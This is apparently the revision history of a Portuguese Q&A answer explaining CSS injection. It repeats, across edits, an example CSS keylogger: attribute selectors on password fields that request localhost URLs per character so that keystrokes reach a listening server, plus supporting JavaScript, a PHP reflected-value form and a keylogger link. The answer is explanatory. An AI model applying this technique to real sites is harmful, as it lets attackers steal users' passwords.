Skip to main content
adicionou 78 caracteres ao conteúdo
Fonte Link
hkotsubo
  • 66,9mil
  • 25
  • 87
  • 170

CSS Injection é sim um ataque que pode asàs vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpressWordPress em que possibilita o usuário inserir o seu propriopróprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do cssCSS, você já deve ter reparado que ele utiliza o parametro urlparâmetro url sendo possivelpossível adicionar uma urlURL externa nesse estilo. Com essa possibilidade é possível hookarhookar eventos de teclas e criar um estilo para cada tecla um exemplo.

Se você tem um formulário com um inputinput que contenha uma senha:

<input type="password" />
<input type="password" />

Seria possível dessa forma, o invasor injetar um cssCSS que hookahooka esse evento, ficando dessa forma:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivelpossível saber que a tecla "a"a foi pressionada, assim como seria possivelpossível a tecla "b"b, "c"c e assim por diante, é trabalhoso porém é completamente possivelpossível criar um keyloggerkeylogger em CSS. Também é possível inserir um javascriptJavaScript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keyloggerkeylogger CSS:, https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.cssveja este link.

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparacedisparasse o evento, no caso um javascriptJavaScript mesmo, mas oqueo que eu quis passar aqui foi a idéia do css..CSS. Com o código jsJavaScript adicionado funcionaria o keylogger... Porémkeylogger, porém é notório que a falha não é ocorrida pelo jsJavaScript e sim pela urlURL do cssCSS:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o jsJavaScript, seria possível sim captar os dados, não atuando como um keyloggerkeylogger exatamente, porém ainda funcionando, pois mesmo que o cssCSS não funcione como um listener, ainda existeexistem formulários que são preenchidos os valuesvalues pelo phpPHP, exemplo que ainda ocorre hoje em dia:

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>
<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a ultimaúltima letra... Mas a questão aqui é que é sim possível pegar oqueo que digitou, mesmo não sendo a palavra por completacompleto.

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível inserir um javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o js seria possível sim captar os dados, não atuando como um keylogger exatamente porém ainda funcionando, pois mesmo que o css não funcione como um listener ainda existe formulários que são preenchidos os values pelo php, exemplo que ainda ocorre hoje em dia

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a ultima letra... Mas a questão aqui é que é sim possível pegar oque digitou, mesmo não sendo a palavra por completa

CSS Injection é sim um ataque que pode às vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como WordPress em que possibilita o usuário inserir o seu próprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do CSS, você já deve ter reparado que ele utiliza o parâmetro url sendo possível adicionar uma URL externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo.

Se você tem um formulário com um input que contenha uma senha:

<input type="password" />

Seria possível dessa forma, o invasor injetar um CSS que hooka esse evento, ficando dessa forma:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possível saber que a tecla a foi pressionada, assim como seria possível a tecla b, c e assim por diante, é trabalhoso porém é completamente possível criar um keylogger em CSS. Também é possível inserir um JavaScript entre outras opções. Caso queira dar uma analisada em um keylogger CSS, veja este link.

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparasse o evento, no caso um JavaScript mesmo, mas o que eu quis passar aqui foi a idéia do CSS. Com o código JavaScript adicionado funcionaria o keylogger, porém é notório que a falha não é ocorrida pelo JavaScript e sim pela URL do CSS:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o JavaScript, seria possível sim captar os dados, não atuando como um keylogger exatamente, porém ainda funcionando, pois mesmo que o CSS não funcione como um listener, ainda existem formulários que são preenchidos os values pelo PHP, exemplo que ainda ocorre hoje em dia:

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a última letra. Mas a questão aqui é que é sim possível pegar o que digitou, mesmo não sendo a palavra por completo.

adicionou 530 caracteres ao conteúdo
Fonte Link

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir um javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o js seria possível sim captar os dados, não atuando como um keylogger exatamente porém ainda funcionando, pois mesmo que o css não funcione como um listener ainda existe formulários que são preenchidos os values pelo php, exemplo que ainda ocorre hoje em dia

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a ultima letra... Mas a questão aqui é que é sim possível pegar oque digitou, mesmo não sendo a palavra por completa

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível inserir um javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o js seria possível sim captar os dados, não atuando como um keylogger exatamente porém ainda funcionando, pois mesmo que o css não funcione como um listener ainda existe formulários que são preenchidos os values pelo php, exemplo que ainda ocorre hoje em dia

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a ultima letra... Mas a questão aqui é que é sim possível pegar oque digitou, mesmo não sendo a palavra por completa

Adicionado evento do js
Fonte Link

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo

Se você tem um formulário com um input que contenha uma senha

<input type="password" />

Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link

Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparace o evento no caso um javascript mesmo, mas oque eu quis passar aqui foi a idéia do css... Com o código js adicionado funcionaria o keylogger... Porém é notório que a falha não é ocorrida pelo js e sim pela url do css

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});
Fonte Link
Carregando